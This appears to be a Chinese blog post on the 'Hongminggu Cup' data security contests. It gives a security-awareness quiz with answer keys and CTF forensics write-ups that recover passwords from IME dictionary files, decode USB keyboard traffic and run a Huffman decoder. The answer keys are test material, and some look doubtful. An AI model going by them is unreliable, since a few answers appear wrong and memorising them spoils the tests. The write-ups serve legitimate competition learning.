红明谷杯数据安全大赛技能场景赛

理论

“红明谷”杯数据安全大赛-安全意识赛
试卷时间:2021-04-02 10:00:00 - 2021-04-02 11:30:00
试卷说明:安全意识赛,每题5分,总分500分

一、单项选择题
1、以下不属于采用密码技术对数据本身进行保护的是()。
A、防火墙技术
B、使用现代加密算法对数据进行加密以获得机密性
C、采用数字签名算法确保数据源的可靠性
D、采用杂凑算法和公钥算法保护数据完整性
标准答案:A
2、第二级信息系统抽查不包括哪项
A、存储被测系统重要数据的介质的存放环境
B、所有人员
C、重要管理终端
D、信息安全主管人员、各方面的负责人员;
标准答案:B
3、对于采用账户名/口令的网站,在已知用户名的情况下对用户口令进行爆破穷举。该口令包含8个字符,且所有的字符属于字母表的小写字符,该穷举()个字符组合来获得口令?
A、21224576
B、208827064576
C、201520162818
D、20445276162016
标准答案:B
4、《网络安全法》是以第()号主席令正式发布的。
A、五十三
B、五十四
C、五十五
D、五十六
标准答案:A
5、Diffie和Hellman观察到:世界上存在一些很容易完成,但反过来很难完成的行为,称这样的行为具有()
A、耦合性
B、单向性
C、拟合性
D、混沌性
标准答案:B
6、数据安全的主要技术手段是采用()手段来对数据进行主动防护。
A、数据云存储手段
B、随意存储手段
C、即时接收存储手段
D、现代信息储存手段
标准答案:D
7、下列不属于资产中的信息载体的是()。
A、软件
B、硬件
C、固件
D、机房
标准答案:D
8、近年来常有不法分子通过IP欺诈来进行网络诈骗,通常不法分子不会通过()这样的攻击手段来完成IP欺骗的实施
A、Non-Blind Spoofing
B、Blind Spoofing
C、ACK Flooding
D、Man in the Middle at Tack
标准答案:C
9、对于违法行为的通报批评处罚,属于行政处罚中的是()
A、人身自由罚
B、声誉罚
C、财产罚
D、资格罚
标准答案:B
10、世界上第一款军用级网络攻击武器是以下哪种木马病毒?
A、Triton病毒
B、火炎病毒(Flame)
C、震网病毒
D、沙蒙病毒(Shamoon)
标准答案:C
11、工业互联网的核心是( )
A、网络体系
B、应用体系
C、平台体系
D、用户体系
标准答案:C
12、()是信息系统等级确定的第三步
A、确定定级对象
B、信息系统等级评审
C、初步确定信息系统等级
D、信息系统等级的最终确定与审批
标准答案:B
13、关于安全单元测评结果汇总表符号描述错误的是
A、对勾表示
B、三角形表示待定
C、叉表示不符合
D、“N/A”表示“不适用”
标准答案:B
14、PC4R模型是一种工业互联网安全自适应防护模型,组成这个模型的步骤不包括( )
A、信息感知
B、风险评定
C、数据汇集
D、网络融合
标准答案:B
15、对第五级信息系统,应当由___进行检查
A、公安部
B、知名学者委员会
C、有资质的安全企业
D、国家指定的专门部门
标准答案:D
16、工业互联网木马病毒肆虐,其中我们常见的Industroyer病毒支持的工业控制协议有()
A、OPC DA Process Control Data Access
B、IEC60870-5-101
C、IEC60870-5-104
D、IEC 62850
标准答案:D
17、根据系统所采用的安全策略及所具备的安全功能,TCSEC将系统分为()类共()个安全等级
A、3 6
B、4 6
C、4 7
D、6 8
标准答案:C
18、现场评测一般从几个方面出发,分别是
A、四个方面:访谈、文档审查、配置检查、实地考察
B、五个方面:访谈、文档审查、配置检查、工具测试和实地察看
C、三个方面:文档审查、配置检查、实地考察
D、六个方面:访谈、文档审查、配置检查、工具测试、实地察看,人员测试
标准答案:B
19、在传统的信息系统安全领域中,我们将安全的三种基本属性简称为CIA,以下哪一个选项不属于安全的三种基本属性
A、实时性
B、完整性
C、保密性
D、可用性
标准答案:A
20、第四级信息系统抽查不包括哪项
A、介质的存放环境
B、全部应用系统
C、与本单位有关的企业
D、主要服务器
标准答案:C
21、可能给系统造成影响或者破坏的人包括()
A、黑客和跨客
B、只有黑客
C、只有跨客
D、所有网络与信息系统使用者
标准答案:D
22、工业控制组件中,漏洞最多的是哪几种
A、工业交换机和通用软件
B、PLC和SCADA/HMI
C、OPC
D、工业网关
标准答案:B
23、()是网络社会中社会工程学直接用于攻击的表现之一。
A、SQL注入攻击的利用
B、利用同情、内疚和胁迫
C、口令破解中的社会工程学利用
D、网络攻击中的社会工程学利用
标准答案:B
24、与Stuxnet有一定的相似度, 都使用了相同的加密算法和密钥的病毒是?()
A、震网病毒
B、毒区病毒
C、火炎病毒
D、Triton病毒
标准答案:B
25、工业控制系统中的人机交互界面设备由硬件和软件两部分组成。硬件包括处理器、显示单元、输入单元、通信接口等,其中是HMI核心的是( )
A、处理器
B、显示单元
C、输入单元
D、通信接口
标准答案:A
26、熊猫烧香病毒在哪一年爆发 ( )
A、2006
B、2007
C、2008
D、2009
标准答案:B
27、()是信息安全管理中,最需要进行管理的内容。
A、组织
B、人员
C、规则
D、目标
标准答案:D
28、工业互联网安全框架的防护措施视角不包括()
A、异常清除
B、威胁防护
C、监测感知
D、处置恢复
标准答案:A
29、()是社会工程学在安全意识培训方面进行防御的措施之一。
A、构建完善的技术防御体系
B、定期在公司内部分享网络安全前沿技术
C、知道社会工程学攻击利用什么
D、有效的安全管理体系和操作
标准答案:C
30、安全信息系统中最重要的安全隐患是()。
A、配置审查
B、临时账户管理
C、数据安全迁移
D、程序恢复
标准答案:A
31、由于服务器软件或者应用程序对用户输入文件名称的安全性验证不足,使得攻击者通HTTP请求和利用一些特殊字符就可以绕过服务器的访问限制,访问任意受限的其他文件,甚至执行系统命令的漏洞称为( )?
A、路径遍历漏洞
B、未授权访问漏洞
C、远程控制漏洞
D、远程代码执行漏洞
标准答案:A
32、下列哪一种是专门针对工业互联网的,以窃取信息为目标的木马病毒()
A、Havex木马程序
B、毒区病毒(Duqu)
C、火焰病毒(Huoyan)
D、灰鸽子木马程序
标准答案:A
33、《网络安全法》第五十九条规定,网络运营者不履行网络安全保护义务的,最多处以()罚款。
A、五万元
B、七万元
C、十万元
D、二十万元
标准答案:C
34、典型工业控制系统架构包括现场设备层、现场控制层、过程监控层等五个层次,其中可以实现对采集量进行调整和处理的是( )
A、现场设备层
B、过程监控层
C、生产管理层
D、现场控制层
标准答案:D
35、关闭WIFI的自动连接功能可以防范( )
A、所有恶意攻击
B、假冒热点攻击
C、恶意代码
D、拒绝服务攻击
标准答案:B
36、下列关于分析与报告编制活动说法正确的是
A、应进行测评实施准备
B、应对测评工具接入点确定
C、必须对测评指导书开发
D、首先应进行单项测评结果判定
标准答案:D
37、1949年()发表了《保密系统的通信理论》,奠定了现代密码学的基础。
A、Shannon
B、Ron Rivest
C、Adi Shanir
D、Leonard Adledleman
标准答案:A
38、下列任务与输出文档一一对应的是
A、测评对象确定:被测系统定级结果、测评指标
B、测评内容确定:被测系统的整体结构、边界、网络区域、重要节点、测评对象等
C、测评方案编制:各测评对象的测评内容及方法
D、测评指标确定:被测系统定级结果、测评指标
标准答案:D
39、由SANS公司的研究员在2015年8月发表的一份白皮书《网络安全滑动标尺模型》中建立的网络安全滑动标尺模型包含五大类别,分别为基础架构、被动防御、积极防御、威胁情报和反制攻击,其中具有消耗攻击资源,缩小攻击面特点的是( )
A、被动防御
B、积极防御
C、威胁情报
D、反制攻击
标准答案:A
40、互联网出口必须向公司信息化主管部门进行()后方可使用
A、备案审批
B、申请
C、说明
D、报备
标准答案:A
41、以下哪项不属于防止口令猜测的措施()
A、严格限定从一个给定的终端进行非法认证的次数
B、确保口令不在终端再现
C、防止用户使用太短的口令
D、使用机器产生的口令
标准答案:B
42、已运营(运行)的第二级以上信息系统,应当在安全保护等级确定后几日内到公安部办理手续
A、20日
B、30日
C、60日
D、45日
标准答案:B
43、工业互联网系统对社会经济、环境、人员安全的巨大影响,对于一般信息系统更加强调它的RAMS属性,()不属于RAMS属性
A、可靠性
B、可维护性
C、可持续性
D、安全性
标准答案:C
44、工业控制系统漏洞被不法分子所利用往往会给企业带来各种损失,其中路径遍历漏洞就 属于高危漏洞其主要的特征有()
A、由于需要安全配置或权限认证的地址、授权页面等存在一定的缺陷、导致其他用户可以直接访问,从而引发重要权限可被操作,数据库,网站目录等敏感信息泄露
B、由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令
C、由于程序员在开发用户和数据库交换的系统时没有对用户输入的字符串进行过滤、转义、限制和处理不严谨,导致用户可以通过输入精心构造的字符去非法获取数据库中的信息
D、由于服务器软件或者应用程序对用户输入文件名称的安全性验证不足
标准答案:D
45、目前已公开的案例中勒索病毒对工业系统的威胁还停留在( )勒索阶段。
A、物理攻击
B、加密文件
C、窃取机密
D、锁定设备
标准答案:B
46、()是《工业互联网安全框架》所提出的网络安全
A、标识解析系统安全
B、工厂外部数据安全
C、工厂外部网络安全
D、工厂内部网络安全
标准答案:B
二、多项选择题
1、以下哪些属于PE文件保护技术?
A、PE完整性检测
B、注册表监控
C、PE文件访问权限保护
D、加壳保护
标准答案:ABCD
2、为保护工业大数据安全搭建的统一数据安全管理系统,创造了面向数据的安全管理体系框架。平台架构的最底层和最高层分别为( )(注意选项顺序)
A、敏感数据隔离交互层
B、数据脱敏层
C、数据分析层
D、数据加固层
标准答案:CD
3、在等级测评过程中可以规避风险的措施是:
A、签署委托测评协议
B、口头上达成保密协议
C、现场测评工作风险的规避
D、测评现场还原
标准答案:ACD
4、等级测评有几个测评过程,有:
A、测评准备活动
B、方案编制活动
C、现场测评活动
D、报告编制活动
标准答案:ABCD
5、保护企业网络的有效措施是?
A、为设备提供安全认证证书
B、部署SSL证书
C、为软件进行代码签名证书
D、为员工通讯邮箱部署电子邮件证书
标准答案:BCD
6、企业内部的信息管理安全风险有:
A、文件打印、传真风险
B、上网行为风险
C、病毒和木马风险
D、用户密码风险
标准答案:ABD
7、火灾自动报警、自动灭火系统部署应注意()。
A、避开可能招致电磁干扰的区域或设备
B、具有不间断的专用消防电源
C、留备用电源
D、具有自动和手动两种触发装置
标准答案:ABCD
8、按照秘密、机密、绝密三级的不同要求,结合系统实际进行方案设计,实施分级保护,其保护水平总体上不低于国家信息安全等级保护
A、第二级、第四级、第五级
B、第三级
C、第三级、第四级、第五级
D、第四级
标准答案:C
9、数字水印有哪些特征()?
A、不需要带外传输
B、透明性
C、鲁棒性
D、单一性
标准答案:ABC
10、用户的个人行为该怎样保证操作系统的安全?
A、定期进行系统更新
B、定期优化系统,清理注册表、垃圾文件等
C、禁用和关闭不常用的服务和端口
D、定期安装最新的系统更新程序和漏洞补丁
标准答案:ABCD
11、非对称密码一般要求(),()
A、加密解密使用相同密钥
B、加密解密使用不同密钥
C、发送方拥有加密或解密密钥,接收方拥有另一个密钥
D、收发双方必须共享密钥
标准答案:BC
12、密码系统包括(),(),()和密码算法
A、通信机制
B、密钥空间
C、明文空间
D、密文空间
标准答案:BCD
13、我们可以采取以下哪些措施用于防范口令攻击?
A、设置的口令尽可能复杂,使用数字、字母、特殊符号组成
B、选择一个具有很强安全性的复杂口令,在所有系统都使用它作为认证手段
C、定期更改口令
D、输入口令时确保周围没有其他人偷窥
标准答案:ACD
14、工业控制系统因受其生产环境所限,补丁漏洞的存在就算是已知也未必能够修复,其中()导致了工业控制系统中策略和程序脆弱性
A、缺乏针对工业控制网络的特定安全策略
B、操作系统及应用的软件补丁未经过测试
C、缺乏安全架构和设计
D、缺乏安全审计
标准答案:ACD
15、信息系统的安全技术体系架构包括(),(),()应用和数据等几个方面
A、物理
B、人员
C、网络
D、系统
标准答案:ACD
16、现场测评活动的主要任务包括:
A、现场测评
B、现场测评准备
C、结果记录
D、结果确认和资料归还
标准答案:ABCD
17、以下哪些选项属于权限管理四项基本原则?
A、纵深
B、累加
C、拒绝优于允许
D、继承性
标准答案:BCD
18、为什么信息系统杀毒软件不适用于工业生产环境
A、信息系统杀毒软件需要定期更新病毒库等,无法适应工业连续生产的要求
B、信息系统杀毒软件对CPU和内存占用较高,无法适应工业生产环境的“可用性”要求
C、信息系统杀毒软件和工业软件存在兼容性问题
D、信息系统杀毒软件所带来的费用高昂
标准答案:ABC
19、测评活动的主要内容有
A、工具和表单准备
B、信息收集和分析
C、测评准备活动输出文档
D、项目启动
标准答案:ABCD
20、个人信息中的网络身份标识信息包括
A、硬件序列号
B、IP地址
C、用户个人数字证书
D、系统编号
标准答案:BCD
21、保障企业信息在存储传输过程中的(),(),()和不可抵赖性,是网络安全的目标之一。
A、全面性
B、完整性
C、合法性
D、保密性
标准答案:BCD
22、工业控制系统因其特殊性以及对其稳定性的要求不能够经常更新系统,所以导致了工业控制系统漏洞百出,其中常见的漏洞类型有()
A、拒绝服务漏洞
B、访问控制漏洞
C、信息泄露漏洞
D、路径遍历漏洞
标准答案:ABCD
23、《网络安全法》的意义包括()。
A、落实党中央决策部署的重要举措
B、维护网络安全的客观需要
C、维护民众切身利益的必然要求
D、参与互联网国际竞争和国际治理的必然选择
标准答案:ABCD
24、《信息系统等级保护安全设计技术要求》要求(),(),()和安全管理中心
A、安全计算环境
B、安全区域边界
C、安全通信网络
D、安全运营中心
标准答案:ABC
25、测评指标在技术/管理层面包括:
A、安全技术
B、人员安全意识
C、安全漏洞
D、安全管理
标准答案:AD
26、以下哪些是密码误用的例子
A、VPN配置策略不当
B、SSL使用无效证书,客户端存在证书校验问题
C、Android应用依赖第三方函数库导致各种密码学误用问题
D、在大部分嵌入式设备中,唯一的熵源只能是中断事件,熵源不足,影响随机数产生的安全性
标准答案:ABCD
27、网络运营者包括()。
A、网络所有者
B、网络管理者
C、网络使用者
D、网络服务提供者
标准答案:ABD
28、零信任安全架构的理念可简单概括为( )
A、要始终假设网络充满威胁,外部和内部威胁每时每刻都充斥着网络
B、不能仅仅依靠网络位置来建立信任关系
C、所有用户、设备和网络流量都应该被认证和授权
D、访问控制策略应该动态地、基于尽量多的数据源进行计算和评估
标准答案:ABCD
29、入侵检测系统的功能包含以下哪些选项?
A、过滤非法数据包
B、监视通信数据流
C、捕获可疑的网络行为
D、生成安全审计报告
标准答案:BCD
30、态势感知层产品处于产品结构的顶层,其核心能力是( )
A、集中管控
B、情报搜集
C、数据高级分析
D、数据采集
标准答案:BC
三、判断题
1、个人信息保存中个人信息控制者传输和存储敏感信息时,应采用加密等安全措施。
A、正确
B、错误
标准答案:A
2、计算机场地在正常情况下温度保持在18 - 28摄氏度。()
A、正确
B、错误
标准答案:A
3、DNS属于应用层协议,既可以使用TCP协议,又可以使用UDP协议。
A、正确
B、错误
标准答案:A
4、数字签名过程中,先对消息加密,再对加密消息计算散列值并附加在消息之后。
A、正确
B、错误
标准答案:B
5、数据安全的保密性就是指,数据仅能被应该知悉的用户或实体读取和理解,其他实体不能读取数据或理解数据的含义()。
A、正确
B、错误
标准答案:A
6、网络安全滑动标尺模型需要按照从左到右的顺序建设,其中被动防御和积极防御均需要人员的介入。( )
A、正确
B、错误
标准答案:B
7、基于主机的数据备份,该备份方式是将存储设备直接接在云主机上,而且还为其他服务器提供数据备份服务。
A、正确
B、错误
标准答案:B
8、在多层密钥体系中,一旦下层密钥泄露,上层密钥的安全性会荡然无存。()
A、正确
B、错误
标准答案:B
9、基于威胁情报的工业威胁检测技术,对于受害目标及攻击源头的精准定位并不能产生较理想的效果。
A、正确
B、错误
标准答案:B
10、安全风险评估是信息安全等级保护建设的重要科学方法之一,可以运用到等级保护周期的系统定级、安全实施和安全运维等阶段。
A、正确
B、错误
标准答案:A
11、基于用户数据安全的保护,如果是重要的数据,可进行异地存储。
A、正确
B、错误
标准答案:A
12、由于工业控制系统中传输的数据通常是指令和采集的原始数据,而且多为实时数据,因此相对于完整性和可用性而言,对保密性要求最高。
A、正确
B、错误
标准答案:B
13、工业安全检查评估工具多为便携式设备,带有高清显示屏幕,且只需接入镜像流量即可,无须复杂配置。使用在线旁路部署方式,采用主动模式检查。( )
A、正确
B、错误
标准答案:B
14、《网络安全法》为整套的法规、规章预留了接口。
A、正确
B、错误
标准答案:A
15、容灾,就是减少灾难事件发生的可能性以及限制灾难对关键业务流程所造成的影响的一整套行为()。
A、正确
B、错误
标准答案:A
16、关于测评准备活动中信息收集与分析任务的输出文档为填好的调查表格和各种与被测信息系统相关的资料。
A、正确
B、错误
标准答案:A
17、通过做好必要的分隔管控工作可以减少工业控制系统在接入互联网后被攻击的风险。( )
A、正确
B、错误
标准答案:A
18、工业互联网是连接I业全系统、全产业链、全价值链,支撑工业智能化发展的关键基础设施,是互联网从消费领域向生产领域、从虚拟经济向实体经济拓展的核心载体。( )
A、正确
B、错误
标准答案:A
19、造成工业控制系统暴露的主要原因之一是“商业网络”和“工业网络”的不断融合。( )
A、正确
B、错误
标准答案:A
20、在笔记本电脑感染勒索病毒后进行物理隔离断网操作,拔掉网线、禁用网卡即可。( )
A、正确
B、错误
标准答案:B
21、针对工业控制系统的攻击,攻击者的主要目的是获取商业情报、流程工艺,进行远程控制或者恶意破坏。( )
A、正确
B、错误
标准答案:A
22、第三方公司人员到公司洽谈业务,期间向您要公司无线网络的账号密码,您直接给他一个公用的账号密码。
A、正确
B、错误
标准答案:B
23、等级保护基本要求中的三级主机安全要求:增加对登录失败、安全传输、口令复杂度等要求,增加特权分离要求,增加审计记录保护要求,增加补丁及时更新要求,增加软件统一管理要求,增加单个业务应用使用系统资源的限制要求。
A、正确
B、错误
标准答案:B
24、高中低位能力安全产品体系中,安全运营层的核心能力是情报搜集和数据高级分析。
A、正确
B、错误
标准答案:B


附上技能赛签到的一些题

在数据库系统中, 口令保护 是信息系统的第一道屏障。

为了防止物理上取走数据库而采取的加强数据库安全的方法是 数据库加密

发生 介质故障 后,磁盘上的物理数据和日志文件被破坏,这是最严重的一种故障,恢复方法是重装数据库,然后重做已完成的事务。

在数据库的安全评估过程中,下面那项是指系统能够对付各种可能的攻击的能力。 可行性

数据库访问控制策略中, 只需策略 是只让用户得到有相应权限的信息,这些信息恰到可以让用户完成自己的工作,其他的权利一律不给。

数据库的 安全策略 是指如何组织、管理、保护和处理敏感信息的指导思想。它包括安全管理策略、访问控制策略和信息控制策略。

数据库的加密方法中,采用 库外加密 ,则密钥管理较为简单,只需借用文件加密的密钥管理方法。

在下面的加密方法中,哪个加解密的效率最低: 元素加密


Misc

InputMonitor

Akira在某次取证的过程中,在桌面找到了一个奇怪的文件,但是除此之外好像没有找到什么有价值的情报,很多的数据都被抹干净了,而且这个用户似乎根本就没装什么第三方的软件。Akira还粗心的只拷贝了C盘下的User目录,这下还有机会解开可疑文件吗?

附件(提取码:ehdy)

第一次做取证的题目记录一下

首先我们得搜索目标用户,在其桌面文件处发现flag文件(一个加密的包;并提示我们说监控我输入

贴个参考文章:http://www.huaxindc.com/ztxy/ztjc/2020/1028/19459.html

接着我们需要找寻密码,找到文件 ChsPinyinlH.dat 或 ChsPinyinUDL.dat

找到1400h处,其后便是每4个字节是字数,后面四个不知道,再四个是输入次数,再24字节是内容,再24字节也是内容,以此为一个循环;之后又重新开始循环(就等于一个struct 链表

utf16转一下进而得到密码:有志者事竟成(PS:直接用CyberChef会快些

或者利用工具得到密码

最后成功得到hidden.pdf,打开之后编辑图片即可看到flag:flag{Y0u_F1nd_h1dd3n_m3g}

我的心是冰冰的

Java盲水印得到压缩包密码:gnibgnib

1
java -jar BlindWatermark-v0.0.3-windows-x86_64.jar decode -c bingbing.jpg pass.jpg

解出一个流量包,wireshark打开得知是USB流量

tshark + USB Keyboard Data Hacker + hex解码得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
tshark.exe -r bingbing.pcapng -T fields -e usb.capdata > usbdata.txt

0000230000000000
0000230000000000
0000230000000000
0000060000000000
0000230000000000
00001e0000000000
0000230000000000
0000240000000000
0000240000000000
0000050000000000
0000200000000000
0000250000000000
0000230000000000
0000230000000000
0000200000000000
0000260000000000
0000230000000000
0000220000000000
0000230000000000
0000210000000000
0000200000000000
00001f0000000000
0000230000000000
0000230000000000
0000200000000000
0000260000000000
0000200000000000
0000200000000000
0000200000000000
0000200000000000
0000230000000000
0000220000000000
0000230000000000
0000230000000000
00001f0000000000
00002a0000000000
0000200000000000
00001e0000000000
0000200000000000
0000210000000000
0000230000000000
00001e0000000000
0000200000000000
0000250000000000
0000230000000000
0000210000000000
0000200000000000
0000270000000000
0000200000000000
0000220000000000
0000200000000000
00001f0000000000
0000200000000000
0000200000000000
0000230000000000
0000210000000000
0000200000000000
0000270000000000
0000200000000000
0000200000000000
0000200000000000
0000210000000000
0000200000000000
0000260000000000
0000230000000000
0000220000000000
0000200000000000
00001e0000000000
0000200000000000
00001f0000000000
0000200000000000
0000260000000000
0000200000000000
0000260000000000
0000230000000000
0000200000000000
0000240000000000
0000070000000000


666c61677b38663965643266393333656631346138643035323364303334396531323939637d


flag{8f9ed2f933ef14a8d0523d0349e1299c}

歪比歪比

010打开发现是个流量包,wireshark打开发现关键信息(知道是哈夫曼但是没做.jpg

跑下脚本即可得到flag

1
2
3
Decode result:jz7ezl64pjhgx6iun78roljc01bm72vjr7u44dfh9tewz8auzmzdzypet4d9xcehxspktdcgxgeeybmgva5pp9850b9mceifedlos6rehy8isvpzf6u545y50c4y9avuvqq3g1epi6igd6tciby7hep9o33cm3guo4qvcxqpcg6zdi5i1r6mmj6xcq5ummzm6jiniidbn51kppj15dp3zy4o8pww23kggukjrytosbkx8th00zba777e0kkz9e1te3u5i36fiym3pran1zgp2a192x63mnc35dhocqli21s2qby9htvdp82x9t6ai0n0wkvbl080bj3xzpj5m8a3jn67kh0le8v104lwa155n8n5o7y97ypdw6hv7d6rbkppxb3ktxnhttb29zsehww2u2x0fhb2k2p1uafhwrfgx7vha64xjr2ffewd30n9961ozt8dgdikly8cknf36kbh2chj28xrencflag{5rd477a2-6r36-dra9-9d63-49c2e9e5d1e5}f43x61l9v3de9z0hiwfz30l1keik5vx48m4yrausvae6fq1q7b9yb4s4tzqbbkyy2hizvqg26spral8rkz37cuylk1k0wfy8p4zppjujggcvpv9e0nhfopumxecd4zbo5sc76zpx8kvttaohud4ltdw16vmgfgucfw2nnafkuup4a6sgkxpk4nw0ax65j6w2498qoap2pqf4el1tu79k6jagxq4q7injr6pkz8yroz25ymdv7uq8h3k24mgf63gmld1i1jga7yupef74l95xr11l1yemjscrn313u89ilrpm8cfj8x826igbfmfnw98qdkm8i3z1vj8ajsebab9w9afhaccvd8qsv2u8zcohp6bxkjonpfoio896q01vje9o2jp00snunzj6zandlq7l8hldsct3ha4dawq9lq8t3u34fmkxrmwd8o4tmow3028o1rqcjzkg9mubjwr5byx7hn44o38vd50

#flag{5rd477a2-6r36-dra9-9d63-49c2e9e5d1e5}

附上大佬发的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
# -*- coding: utf-8 -*-


# 统计字符出现频率,生成映射表
def count_frequency(text):
chars = []
ret = []

for char in text:
if char in chars:
continue
else:
chars.append(char)
ret.append((char, text.count(char)))

return ret


# 节点类
class Node:
def __init__(self, frequency):
self.left = None
self.right = None
self.father = None
self.frequency = frequency

def is_left(self):
return self.father.left == self


# 创建叶子节点
def create_nodes(frequency_list):
return [Node(frequency) for frequency in frequency_list]


# 创建Huffman树
def create_huffman_tree(nodes):
queue = nodes[:]

while len(queue) > 1:
queue.sort(key=lambda item: item.frequency)
node_left = queue.pop(0)
node_right = queue.pop(0)
node_father = Node(node_left.frequency + node_right.frequency)
node_father.left = node_left
node_father.right = node_right
node_left.father = node_father
node_right.father = node_father
queue.append(node_father)

queue[0].father = None
return queue[0]


# Huffman编码
def huffman_encoding(nodes, root):
huffman_code = [''] * len(nodes)

for i in range(len(nodes)):
node = nodes[i]
while node != root:
if node.is_left():
huffman_code[i] = '0' + huffman_code[i]
else:
huffman_code[i] = '1' + huffman_code[i]
node = node.father

return huffman_code


# 编码整个字符串
def encode_str(text, char_frequency, codes):
ret = ''
for char in text:
i = 0
for item in char_frequency:
if char == item[0]:
ret += codes[i]
i += 1

return ret


# 解码整个字符串
def decode_str(huffman_str, char_frequency, codes):
ret = ''
while huffman_str != '':
i = 0
for item in codes:
if item in huffman_str and huffman_str.index(item) == 0:
ret += char_frequency[i][0]
huffman_str = huffman_str[len(item):]
i += 1

return ret


if __name__ == '__main__':
text = raw_input('The text to encode:')

char_frequency = [('j', 29), ('z', 31), ('7', 25), ('e', 31), ('l', 23), ('6', 37), ('4', 32), ('p', 38), ('h', 27), ('g', 26), ('x', 28), ('i', 25), ('u', 27), ('n', 25), ('8', 36), ('0', 24), ('o', 23), ('c', 28), ('y', 24), ('1', 29), ('b', 26), ('m', 27), ('2', 28), ('v', 25), ('d', 33), ('f', 28), ('9', 33), ('t', 21), ('w', 22), ('a', 31), ('r', 24), ('s', 16), ('k', 32), ('5', 25), ('q', 23), ('3', 32), ('{', 1), ('-', 4), ('}', 1)]

nodes = create_nodes([item[1] for item in char_frequency])
root = create_huffman_tree(nodes)
codes = huffman_encoding(nodes, root)

huffman_str = '0111110001000011001010001111011110101010011011011110100000110010111101000010010010001100001110010000011110011101101111011001111101000000111010100000101101001000111100000000010100110100101001011101110010001100011100010010111001100011100110011010011000101010100011011110001111111110111001011100010100101111100001011011001001001000010111110101110111010111100010111011000011001011001101001010010111111001110101000110001001001100101110111101111000110010010111111000111110000101001100100100001001110100101011111101111110011101011101000000100100100011111111001000101110101001001101110001011101101001001001011010000101111111001011111100110010100111111110001001100100010010010011110111110110110001101000010010110110001011010000100011010111110101110000110000010001111111110000101000100101101111000111100101101011001100010101011000110010011111001010011110100100011000101111110111011011000011011010100011011100010001010001010000000001101001010010100111111010010110110011110100101010010101001010100010101011010011110001000011000100001010111001110001100101100001010111011110110111110000001011011111011101101000111111110100111100110011101111100111100101101101101010100110001100100110101011110000011111111100011110011101010011110101010111100111100001000111110111110100010011110011000010000100001100101111101010110101100011100010010100001110001001010110010010010100010101101101001110000101111110101010110110110000010011000111000010001001101101101101100111000011000011010101111010101100101000011011001011000101101110100011110001100111101111011000100110110000111010101101111101001111111111100001000111000001001011111011110010110101011110001110001101010011000101111100001111111011100110101001000011111101111111011001111110001110111110110010111000111011011110010101010110011001110110011110001111010000011010101000111110111011100101100100100100001111101010011101111100110011100000010100101000111100100011001011111000000111111111000000011111111101110111111001110100100000100000011011111010000000011110101110111101101011001111011010101111000010110001101000111000111000001110110111000100011110101100100100011100111100101101010010110101011111110011100100000111011011010101101110111000001001100110111001000111001000000111000110010110000100100010001001111010101000101101111000000110101110011101001011100110111101101111100001111000110001101010000111100100011110001100110111001101011100010101011110111111111100101100101010001101110101101101010101001110100001101011000100001111011011100101011000001001000011011000111011101110011001101110100000010100000101111010000001000011001101101111010011101000000101101101011101001101110000010011110001110100111000101111101010110111010011010011000011000110110010110001001000101101111000010010001011110100010111010100101100101111010100001110111100000100101101011110010110001000111111001000000101110010111010001101101111101110111000010101100100001010101001010010001011101001100101010101001111110000010011010011110101001001001110010110100111011110110000111101000010011111000111111001111010011101011010011100010001111101001110011110101111111111111011010100000010100010010011110100110011011101011101011101100000100111110111100100000101011000110110000010110001001111111111011101011000010101111110111001011101111111100111011101001000111011110110111101001011110011000110011000010011011001001100010010111110000110100001110111100110110100101010010111001001100101111010010001001111111000010111101010110000001110101000111011010111100110101001001110001110001001111110001000010011011110100111011111000101111110011000011010001000101000110011100011001001011000111011100101101000110001110011011101010101001010011101110100100111101011101010011010101010111101110101101000001111100111111010011010111101000101011111101011100101101101001100011001111101111100100111101101101110111111010111010100100101110111000011100001001000011100010101110100111110011001100101111110110100111101000010001000011011110000011010110111010110001110011111110000011110010001011010010111111101010101110010000001010011111011100101000101101010101101101000101000110011101101010110001100101011101110111100000001010000011110011010011000011111110100111011100100111000001101001110111100000101010110000010000100001110111000011111110010010100111111101010110000000000111011010000101100100111001110000001011101100000110110101011001011000111001111110010101111001011011101000010001100011101110010100111000011111001110001100111110110111101010101011001000101011010001100000010001111110011001101111111010110010001111001100111110001110011100010011011100100010011011000110000100101111100111110111101010010001101010011100110001011001111000100011011110100011101011101010111111110000011110110111011110000010111100110011100011010111101111110100000010001111100101100011110001101011111101111111011111011101010001101001000111000101111110101000110011000111011111101111110100001111011110010100011101110111111010101100111000101100100010011101001011110011111001111101110001110111111011100111100010110010011011010100011100101010101010110000001010111001101111100111110010100111000010101111001110011011011111001101110011111001000000000111101011000111110001101010011011000010100100100111011111110010000000101001111111110101100001010000001110100101001111001011011001001001011100101111110'

origin_str = decode_str(huffman_str, char_frequency, codes)

print 'Encode result:' + huffman_str
print 'Decode result:' + origin_str

第二届“红明谷”杯数据安全大赛

Misc

签到

公众号发送问卷链接得到flag

MissingFile

好像被攻击者入侵了,但是赶到现场的时候,已经只剩下一个空的文件夹了,快照能找到攻击者留下的秘密吗?

直接strings得到flag

1
2
3
4
5
# strings memory | grep flag{
flag{Hide_Behind_Windows}
flag{Hide_Behind_Windows}
flag{Hide_Behind_Windows}
flag{Hide_Behind_Windows}

重要系统

题目内容:我们获取到了一个重要的目标环境!尝试获取其中的重要信息吧!

(本题容器下发后的端口是ssh端口,ssh的账号密码请分析附件后得到)

hint1:流量包似乎是攻击者在探测溢出点和RIP?

分析键盘流量,直接跑脚本得到ssh账号密码

1
